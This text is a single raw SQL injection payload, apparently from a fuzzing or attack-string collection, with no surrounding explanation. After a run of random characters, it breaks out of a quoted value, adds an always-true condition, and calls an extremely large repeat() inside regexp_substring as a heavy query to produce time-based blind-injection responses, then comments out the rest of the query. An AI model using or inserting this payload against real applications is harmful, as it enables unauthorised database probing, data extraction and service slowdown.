>$ ovc`,6_?ly3/;}.86-4%^i%kj*j$fa9mj*|i|[:$k2\-z5[r,f1' )  where 2443 = 2443 and char ( 120 ) ||char ( 106 ) ||char ( 117 ) ||char ( 85 )  = regexp_substring ( repeat ( right ( char ( 9981 ) ,0 ) ,5000000000 ) ,null ) --